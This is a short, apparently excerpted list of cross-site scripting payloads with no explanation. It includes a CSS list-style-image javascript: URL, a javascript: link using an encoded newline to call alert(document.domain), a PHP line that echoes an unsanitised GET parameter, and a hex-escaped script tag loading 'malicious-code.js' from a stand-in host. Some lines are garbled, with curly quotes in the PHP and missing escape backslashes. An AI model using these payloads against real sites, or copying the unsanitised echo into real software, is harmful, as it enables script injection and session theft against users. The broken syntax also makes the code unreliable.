li {list-style-image: url("javascript:alert('XSS')");}XSS
javascript://www.semrush.com/%250aalert(document.domain)
$username = $_GET[‘user’];
echo “
Hello,”. $username. “!
”;
x3cscript src=http://www.example.com/malicious-code.jsx3ex3c/scriptx3e